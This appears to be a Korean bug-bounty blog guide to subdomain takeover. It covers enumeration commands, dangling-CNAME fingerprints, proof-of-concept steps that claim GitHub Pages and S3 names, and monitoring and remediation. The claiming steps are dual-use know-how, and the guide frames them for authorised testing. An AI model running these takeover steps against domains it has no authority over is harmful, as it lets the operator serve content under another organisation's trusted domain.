← 블로그로 돌아가기

서브도메인 탈취: 단계별 탐지 및 개념 증명 가이드

서브도메인 탈취는 버그 바운티 프로그램에서 가장 안정적으로 재현되는 고위험 취약점 중 하나입니다. CNAME 레코드가 소유권이 없는 서비스를 가리키면 공격자는 그 서비스를 등록해 신뢰받는 도메인에서 악성 콘텐츠를 제공할 수 있습니다. 이를 통해 쿠키를 훔치고 피싱을 수행하며 CORS 제한을 우회할 수 있습니다.

---

서브도메인 탈취 이해하기

위험도가 높은 이유

• 쿠키 탈취 — 다음 범위로 설정된 쿠키가 .company.com 공격자가 제어하는 콘텐츠로 전송됩니다
• CORS 우회 — 다음을 신뢰하는 API는 *.company.com 공격자의 서브도메인도 신뢰하게 됩니다
• 피싱 — 정상 회사 도메인에 공격자 콘텐츠가 표시되므로 신뢰도가 높은 피싱이 가능합니다
• CSP 우회 — company.com이 CSP에서 자체 서브도메인을 허용한 경우 가능합니다
• OAuth 리디렉션 — 서브도메인이 등록된 redirect_uri인 경우 악용할 수 있습니다
• 이메일 전송 — 서브도메인이 이메일 발송(SPF/DMARC)에 사용되는 경우 악용할 수 있습니다

---

1단계: 자산 발견

서브도메인 열거

# Passive enumeration
subfinder -d target.com -silent -all -o passive_subs.txt

# Active brute force
amass enum -active -d target.com -o active_subs.txt

# Certificate transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  jq -r '.[].name_value' | sort -u | tee ct_subs.txt

# Combine and deduplicate
cat passive_subs.txt active_subs.txt ct_subs.txt | \
  sort -u > all_subs.txt

DNS 확인 검사

# Check which subdomains resolve
cat all_subs.txt | dnsx -silent -resp | tee resolved_subs.txt

# Find CNAMEs
cat all_subs.txt | dnsx -silent -cname -resp | tee cnames.txt

# Example output:
# legacy.target.com -> company.azurewebsites.net
# api-old.target.com -> company.github.io
# status.target.com -> company.statuspage.io

---

2단계: 댕글링 CNAME 식별

수동 검증

# Check if the CNAME target is unclaimed
dig +short legacy.target.com
# Returns: company.azurewebsites.net

# Check if that hostname responds
curl -v -H "Host: company.azurewebsites.net" \
  https://company.azurewebsites.net 2>&1 | head -20

# "탈취 핑거프린트" 확인:
# Azure: "404 Web Site not found"
# GitHub Pages: "There isn't a GitHub Pages site here"
# Heroku: "No such app"
# AWS S3: "NoSuchBucket"
# Fastly: "Fastly error: unknown domain"

Nuclei를 이용한 자동 탐지

# Nuclei에는 서브도메인 탈취 템플릿이 내장되어 있습니다
nuclei -l all_subs.txt -t takeovers/ -silent

# 또는 subjack 사용
go install github.com/haccer/subjack@latest
subjack -w all_subs.txt -t 100 -timeout 30 \
  -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json \
  -o takeover_results.txt

Can-I-Take-Over-XYZ 참고 자료

다음 can-i-take-over-xyz 저장소는 500개가 넘는 서비스의 핑거프린트를 관리합니다. 반드시 확인할 주요 서비스는 다음과 같습니다.

서비스	핑거프린트	탈취 가능?
GitHub Pages	"There isn't a GitHub Pages site here"	✅ 가능
AWS S3	"NoSuchBucket"	✅ 가능(동일 리전)
Azure Web Apps	"404 Web Site not found"	✅ 가능
Heroku	"No such app"	✅ 가능
Shopify	"Sorry, this shop is currently unavailable"	✅ 가능
Fastly	"Fastly error: unknown domain"	✅ 가능
Pantheon	"404 error unknown site"	✅ 가능
Wordpress.com	"Do you want to register..."	✅ 가능
Zendesk	"Help Center Closed"	✅ 가능
Surge.sh	"project not found"	✅ 가능

---

3단계: 안전한 개념 증명

GitHub Pages 탈취 PoC

# Step 1: Confirm dangling CNAME
dig +short blog-old.target.com
# Returns: targetcompany.github.io

# Step 2: Check fingerprint
curl -s https://blog-old.target.com | grep -i "github"
# Returns: "There isn't a GitHub Pages site here"

# Step 3: Create PoC repository
# Create GitHub repo: targetcompany.github.io (if available) or
# Create GitHub Pages with custom domain matching CNAME target

# Step 4: Add CNAME file in repo
echo "blog-old.target.com" > CNAME

# Step 5: Add responsible PoC page
cat > index.html << 'EOF'
<!-- SECURITY RESEARCH - SUBDOMAIN TAKEOVER PoC -->
<!-- This page is hosted by a security researcher -->
<!-- to demonstrate a subdomain takeover vulnerability -->
<!-- No malicious actions are being performed -->
<h1>Subdomain Takeover - Security Research PoC</h1>
<p>This subdomain (blog-old.target.com) is vulnerable to takeover.</p>
<p>Researcher: [your handle]</p>
<p>Reported: [date]</p>
EOF

AWS S3 버킷 탈취 PoC

# Confirm dangling CNAME
dig +short assets-legacy.target.com
# Returns: target-legacy-assets.s3.amazonaws.com

# Check response
curl -v https://assets-legacy.target.com 2>&1 | grep -i "NoSuchBucket"
# "The specified bucket does not exist" -> 취약함!

# 응답 헤더에서 리전을 추출하거나 다음을 시도합니다:
# 리전 헤더가 없으면 us-east-1이 기본값입니다

# PoC 버킷 생성(CNAME 대상과 같은 이름)
aws s3 mb s3://target-legacy-assets --region us-east-1

# 정적 호스팅 활성화
aws s3 website s3://target-legacy-assets \
  --index-document index.html

# 책임 있는 PoC 업로드
echo "<h1>Subdomain Takeover PoC - Security Research</h1>" | \
  aws s3 cp - s3://target-legacy-assets/index.html \
  --content-type text/html --acl public-read

영향 문서화

# 쿠키 접근 입증(본인이 관리하는 테스트 계정에서만 수행)
# 테스트 계정을 만들고 쿠키를 설정한 뒤 PoC 페이지를 방문합니다
# document.cookie 내용이 보이는 스크린샷을 촬영합니다
# 이로써 쿠키 탈취 가능 범위를 입증합니다

# 다음 스크린샷으로 문서화합니다:
# 1. 댕글링 CNAME을 보여주는 DNS 조회
# 2. 핑거프린트 응답(NoSuchBucket 등)
# 3. 해당 서브도메인에서 호스팅되는 PoC 페이지
# 4. 정상 도메인과 연구자 콘텐츠가 함께 보이는 브라우저
# 5. (선택) 본인 테스트 계정의 쿠키 접근

---

4단계: 영구적인 수정

즉시 시정 조치

1. 댕글링 CNAME 제거 — 소유권이 없는 서비스를 가리키는 DNS 레코드를 삭제합니다
2. 또는 서비스 소유권 복구 — 서비스 제공업체에서 대상 호스트 이름을 다시 등록합니다
3. 다른 모든 서브도메인에도 유사한 댕글링 레코드가 있는지 감사합니다

장기 예방

# Automate continuous subdomain monitoring
# Check all CNAMEs weekly for dangling status

#!/bin/bash
# monitor_dangling_cnames.sh
while IFS= read -r subdomain; do
  cname=$(dig +short CNAME "$subdomain" | head -1)
  if [ -n "$cname" ]; then
    # Resolve the CNAME target
    ip=$(dig +short "$cname" | tail -1)
    if [ -z "$ip" ]; then
      echo "DANGLING CNAME: $subdomain -> $cname"
      # 경고 전송
    fi
  fi
done < subdomains.txt

---

A 레코드 및 NS 탈취

A 레코드 탈취(Elastic IP)

# A 레코드가 할당되지 않은 클라우드 IP를 가리키는지 확인
dig +short api-legacy.target.com
# 반환값: 52.xxx.xxx.xxx

# IP가 AWS 소유인지 확인
curl https://ip-ranges.amazonaws.com/ip-ranges.json | \
  python3 -c "import json,sys; \
  [print(p['prefix'], p['region'], p['service']) \
  for p in json.load(sys.stdin)['prefixes'] \
  if '52.xxx.xxx' in p.get('ip_prefix','')]"

# AWS IP라면 해당 IP로 EC2를 시작해 할당을 시도합니다
# (명시적 허가가 있을 때만 수행)

NS 탈취(가장 치명적)

---

자주 묻는 질문

서브도메인 탈취는 언제나 치명적 취약점인가요?

심각도는 서브도메인의 기능과 신뢰 수준에 따라 달라집니다. 쿠키 범위에 포함되지 않는 마케팅 서브도메인은 중간 위험일 수 있습니다. 반면 OAuth 리디렉션 URI로 등록되었거나 CORS 정책이 신뢰하거나 루트 도메인 범위의 쿠키를 받는 서브도메인은 치명적입니다. 서브도메인을 장악한 공격자가 실제로 이용할 수 있는 공격 경로를 반드시 평가하세요.

허가 없이 연구 중에 서브도메인을 탈취해도 되나요?

전적으로 버그 바운티 프로그램 규칙에 달려 있습니다. 책임 있는 공개 페이지를 이용한 PoC 탈취를 허용하는 프로그램도 있지만 명시적으로 금지하는 곳도 있습니다. 확신할 수 없다면 실제 탈취는 하지 말고 DNS 증거(댕글링 CNAME과 핑거프린트 응답)만 제출하세요. 서비스를 등록했다면 무엇을 할 수 있었는지를 보여주는 스크린샷도 포함하세요.

프로그램은 얼마나 빨리 시정해야 하나요?

서브도메인 탈취는 치명적 위험으로 다뤄야 합니다. DNS 레코드를 삭제하면 간단히 시정할 수 있지만 실제 공격자가 악용할 가능성은 높습니다. 대부분의 프로그램은 활성 서브도메인 탈취를 당일 또는 다음 날까지 시정하기를 기대합니다.